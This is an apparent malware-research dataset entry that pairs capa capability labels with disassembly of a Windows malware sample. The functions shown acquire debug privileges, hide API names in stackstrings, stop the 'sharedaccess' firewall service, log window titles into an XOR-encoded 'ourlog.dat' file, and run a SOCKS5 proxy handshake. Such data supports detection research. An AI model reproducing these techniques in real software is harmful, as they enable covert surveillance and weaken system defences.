joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406a1f
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.GetCurrentProcess
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 0x14], 0
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push str.AdjustTokenPrivileges
push eax
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x56
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x49
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
call esi
push eax
call edi
and byte [ebp - 0x24], 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x30]
mov byte [ebp - 0x30], 0x47
push eax
push ebx
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x4c
mov byte [ebp - 0x2c], 0x61
mov byte [ebp - 0x2b], 0x73
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x72
call esi
push eax
call edi
mov ebx, eax
lea eax, [ebp - 0x20]
push str.LookupPrivilegeValueA
push eax
call esi
push eax
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push str.OpenProcessToken
push eax
call esi
push eax
call edi
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 0x20
call dword [ebp - 4]
push eax
call esi
test eax, eax
je 0x406b30
lea eax, [ebp - 0x3c]
xor esi, esi
push eax
push 0x41d650
push esi
call dword [ebp - 8]
push esi
push esi
lea eax, [ebp - 0x40]
push 0x10
push eax
push esi
push dword [ebp - 0xc]
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x34], 2
call dword [ebp - 0x10]
call ebx
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406b35
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
and byte [ebp - 0x14], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x20]
push str.OpenSCManagerA
push eax
mov byte [ebp - 0x20], 0x41
mov byte [ebp - 0x1f], 0x44
mov byte [ebp - 0x1e], 0x56
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x49
mov byte [ebp - 0x1a], 0x33
mov byte [ebp - 0x19], 0x32
mov byte [ebp - 0x18], 0x2e
mov byte [ebp - 0x17], 0x64
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x6c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x20]
push str.CloseServiceHandle
push eax
call esi
push eax
call edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push str.ControlService
push eax
call esi
push eax
call edi
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push str.QueryServiceStatus
push eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
push str.OpenServiceA
push eax
call esi
push eax
call edi
mov esi, eax
call fcn.00406a1f
push 0xf003f
push 0
push 0
call dword [ebp - 8]
mov edi, eax
push 0xf01ff
push str.sharedaccess
push edi
call esi
mov esi, eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [ebp - 0xc]
cmp dword [ebp - 0x38], 1
je 0x406c0b
lea eax, [ebp - 0x3c]
push eax
push 1
push esi
call dword [ebp - 0x10]
push esi
call dword [ebp - 4]
push edi
call dword [ebp - 4]
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x408a62
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x2f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x408a8a
push esi
push dword [ebp + 8]
call fcn.00410af2
pop ecx
test al, al
pop ecx
jne 0x408a8e
xor al, al
jmp 0x408aca
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push str.DJX_UP
push esi
mov dword [ebp - 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
leave
ret

Function at 0x408acd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegOpenKeyExA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegCloseKey
push ebx
mov dword [ebp - 0x10], eax
call esi
push eax
call edi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x408be8
mov eax, 0x104
xor ebx, ebx
mov dword [ebp - 0xc], eax
push eax
lea eax, [ebp - 0x168]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push 0xf003f
push ebx
push str.Applicationsiexplore.exe_shellopenCOMMAND
push connect
call dword [ebp - 0x10]
test eax, eax
jne 0x408be8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x168]
push eax
push ebx
push dword [ebp - 8]
call dword [0x41ffa8]
push dword [ebp - 8]
call dword [ebp - 4]
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408be8
lea eax, [ebp - 0x168]
push 0x41d438
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
je 0x408be8
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call edi
push dword [ebp + 8]
push dword [ebp - 4]
call eax
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x60]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x64], 0x44
je 0x408bcc
mov dword [ebp - 0x5c], str.WinSta0Default
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x168]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x408c69
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41ffe8]
test eax, eax
jne 0x408c8a
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push 0x41d650
push ebx
call dword [0x41ffe4]
test eax, eax
je 0x408cd3
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [0x41ffe0]
test eax, eax
je 0x408cd3
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x409366
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
and byte [ebp - 1], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov byte [ebp - 2], 5
mov al, byte [esi]
cmp al, 5
je 0x40938b
movzx eax, al
jmp 0x4094d4
mov al, byte [esi + 2]
test al, al
je 0x40939a
cmp al, 2
jne 0x4094cd
push 0x4203c8
call sub.MSVCRT.dll_strlen
neg eax
mov ebx, dword [ebp + 8]
pop ecx
sbb al, al
push 0
and eax, 2
push 2
mov byte [ebp - 1], al
lea eax, [ebp - 2]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4094cd
cmp byte [ebp - 1], 2
jne 0x4094d1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, 0x100
lea eax, [ebp - 0x104]
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
push edi
lea eax, [ebp - 0x204]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x5000
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4094cd
test eax, eax
je 0x4094cd
cmp byte [esi], 1
jne 0x4094cd
mov al, byte [esi + 1]
test al, al
je 0x409452
movzx eax, al
cmp eax, edi
jg 0x409452
push eax
lea eax, [esi + 2]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esi + 1]
movsx ecx, byte [eax + esi + 2]
add eax, esi
test ecx, ecx
je 0x409484
cmp ecx, edi
jg 0x409484
add eax, 3
push ecx
push eax
lea eax, [ebp - 0x204]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x4203c8
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x4094b7
lea eax, [ebp - 0x204]
push eax
push 0x4204c8
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x4094b7
and byte [esi + 1], al
jmp 0x4094bb
or byte [esi + 1], 0xff
push 0
push 2
push esi
push dword [ebx]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4094d1
xor eax, eax
jmp 0x4094d4
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4094d9
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x420348
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebx, dword [ebp + 8]
mov esi, eax
test esi, esi
je 0x40953c
and dword [ebp + 8], 0
mov eax, dword [esi + 0xc]
mov ecx, dword [ebp + 8]
xor edi, edi
cmp dword [eax + ecx], edi
je 0x40953c
and byte [ebx], 0
cmp word [esi + 0xa], di
jle 0x409536
test edi, edi
jle 0x409521
push 0x41d47c
push ebx
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push eax
push ebx
call sub.MSVCRT.dll_strcat
movsx eax, word [esi + 0xa]
inc edi
pop ecx
cmp edi, eax
pop ecx
jl 0x409510
add dword [ebp + 8], 4
jmp 0x4094fa
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret

Function at 0x409543
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x409552
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret
Function at 0x40973a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x409789
call fcn.00409543
test eax, eax
pop ecx
je 0x4097dd
push edi
call fcn.00409543
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x4097dd
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4097e3
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x4097df

Function at 0x4097e8
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push dword [ebp + 0x10]
push esi
push edi
call fcn.00409366
add esp, 0xc
test eax, eax
je 0x409879
cmp eax, 4
jne 0x409826
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push 2
push dword [ebp + 0x10]
push esi
call fcn.00409560
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
jmp 0x40987b
push 0
push 0x5000
push esi
push dword [edi]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x409879
test eax, eax
je 0x409879
cmp byte [esi], 5
jne 0x409879
mov cl, byte [esi + 3]
cmp cl, 1
je 0x409851
cmp cl, 3
jne 0x409879
push dword [ebp + 0x18]
movzx ecx, cl
push dword [ebp + 0x14]
push ecx
push eax
push esi
call fcn.00409560
add esp, 0x14
test eax, eax
je 0x409879
mov al, byte [esi + 1]
cmp al, 1
je 0x409874
cmp al, 3
jne 0x409879
movzx eax, al
jmp 0x40987b
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x40987f
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4098d3
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x4098d7
xor eax, eax
jmp 0x409910
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.004094d9
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret

Function at 0x409f61
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
test edi, edi
jle 0x409f97
push dword [ebp + 0x18]
mov eax, dword [ebp + 0xc]
add eax, esi
push dword [ebp + 0x14]
push 0
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x409f92
sub edi, eax
add esi, eax
jmp 0x409f6b
or eax, 0xffffffff
jmp 0x409f99
mov eax, esi
pop edi
pop esi
pop ebp
ret

Function at 0x40a8cb
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x9e50], ebx
mov dword [esi], 0x419490
jbe 0x40a905
push edi
lea edi, [esi + 0x210]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9e50]
jb 0x40a8e6
pop edi
mov ecx, esi
call fcn.0040b49f
pop esi
pop ebx
ret
Function at 0x40ac37
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.GetFileSize
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and byte [ebp - 1], 0
push str.GetSystemDirectoryA
push ebx
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x75
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x67
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x64
mov byte [ebp - 3], 0x61
mov byte [ebp - 2], 0x74
call esi
push eax
call edi
lea ecx, [ebp - 0x11c]
push 0x104
push ecx
call eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x11c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esi
call dword [ebp - 0x10]
cmp eax, 0x3200000
jae 0x40acfa
push 2
push esi
push esi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call edi
mov ebx, eax
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp ebx, esi
pop ecx
mov dword [ebp - 0x10], eax
jle 0x40ad26
mov ecx, dword [ebp + 8]
sub ecx, eax
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebx
jne 0x40ad1a
lea eax, [ebp - 0x18]
push esi
push eax
push dword [ebp + 8]
call edi
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40ad4b
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
push ebx
push esi
mov ebx, 0x400
push edi
push ebx
mov esi, 0x4207f0
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push ebx
push esi
push eax
mov dword [0x420bf0], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
and byte [ebp - 0x43c], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x43b]
rep stosd dword es:[edi], eax
and dword [ebp - 0x2c], 0
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x420bf0]
cmp eax, dword [0x4207ec]
je 0x40aed9
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40aecf
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x30]
push eax
mov byte [ebp - 0x28], 0xd
movzx eax, word [ebp - 0x32]
push eax
mov byte [ebp - 0x27], 0xa
movzx eax, word [ebp - 0x34]
push eax
mov byte [ebp - 0x26], 0x5b
movzx eax, word [ebp - 0x36]
push eax
mov byte [ebp - 0x25], 0xea
movzx eax, word [ebp - 0x3a]
push eax
mov byte [ebp - 0x24], 0xe2
movzx eax, word [ebp - 0x3c]
push eax
lea eax, [ebp - 0x28]
push esi
push eax
lea eax, [ebp - 0x43c]
mov byte [ebp - 0x23], 0x3a
push eax
mov byte [ebp - 0x22], 0x5d
mov byte [ebp - 0x21], 0x20
mov byte [ebp - 0x20], 0x25
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0xd
mov byte [ebp - 0x1d], 0xa
mov byte [ebp - 0x1c], 0x5b
mov byte [ebp - 0x1b], 0xb1
mov byte [ebp - 0x1a], 0xe4
mov byte [ebp - 0x19], 0x3a
mov byte [ebp - 0x18], 0x5d
mov byte [ebp - 0x17], 0x25
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x2d
mov byte [ebp - 0x14], 0x25
mov byte [ebp - 0x13], 0x64
mov byte [ebp - 0x12], 0x2d
mov byte [ebp - 0x11], 0x25
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x20
mov byte [ebp - 0xd], 0x25
mov byte [ebp - 0xc], 0x64
mov byte [ebp - 0xb], 0x3a
mov byte [ebp - 0xa], 0x25
mov byte [ebp - 9], 0x64
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], 0x25
mov byte [ebp - 6], 0x64
mov byte [ebp - 5], 0xd
mov byte [ebp - 4], 0xa
call edi
lea eax, [ebp - 0x43c]
push eax
call fcn.0040ac37
push ebx
lea eax, [ebp - 0x43c]
push 0
push eax
call sub.MSVCRT.dll_memset
push ebx
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0x40
mov dword [ebp - 0x2c], 1
mov eax, dword [0x420bf0]
mov dword [0x4207ec], eax
mov eax, dword [ebp - 0x2c]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b31b
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.KERNEL32.dll
push str.CreateFileA
mov dword [ebp - 0x24], ecx
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
and dword [ebp - 4], 0
and dword [ebp - 0x1c], 0
push str.GetSystemDirectoryA
push ebx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
lea ecx, [ebp - 0x128]
push 0x104
push ecx
call eax
and byte [ebp - 0xd], 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 0x18], 0x5c
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x6f
mov byte [ebp - 0x12], 0x67
mov byte [ebp - 0x11], 0x2e
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x74
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp - 0x128]
push connect
push eax
call dword [ebp - 0xc]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x40b43f
push str.GetFileSize
push ebx
call esi
push eax
call edi
push str.ReadFile
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 0
mov dword [ebp - 0x20], eax
push dword [ebp - 0xc]
call dword [ebp - 8]
push eax
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x1c]
push 0
push ecx
push dword [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x20]
xor ecx, ecx
cmp dword [ebp - 4], ecx
jbe 0x40b425
mov eax, dword [ebp - 8]
add eax, ecx
xor byte [eax], 0x62
inc ecx
cmp ecx, dword [ebp - 4]
jb 0x40b417
push dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
push dword [ebp - 8]
call fcn.0040b2a7
push dword [ebp - 8]
mov dword [ebp - 4], eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push str.CloseHandle
push ebx
call esi
push eax
call edi
push dword [ebp - 0xc]
call eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40c0d6
Capabilities:
Contain obfuscated stackstrings
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and byte [ebp - 0xa], 0
push 0
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0x11], 0x62
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x4c
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x63
mov byte [ebp - 0xb], 0x6b
call dword [0x420c04]
test eax, eax
je 0x40c1d9
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ebp - 0x14]
push edi
mov ebx, str.KERNEL32.dll
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
call dword [sym.imp.USER32.dll_EmptyClipboard]
push str.GlobalAlloc
push ebx
call esi
push eax
call edi
push dword [ebp + 0xc]
push 0x2000
call eax
test eax, eax
mov dword [ebp - 4], eax
je 0x40c1c5
push eax
call dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
and byte [ebp - 0x18], 0
add esp, 0xc
lea eax, [ebp - 0x24]
mov byte [ebp - 0x24], 0x47
push eax
push ebx
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x62
mov byte [ebp - 0x20], 0x61
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0x55
mov byte [ebp - 0x1d], 0x6e
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x6b
call esi
push eax
call edi
push dword [ebp - 4]
call eax
push dword [ebp - 4]
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push str.CloseClipboard
push str.USER32.dll
call esi
push eax
call edi
call eax
pop edi
pop esi
pop ebx
leave
ret 8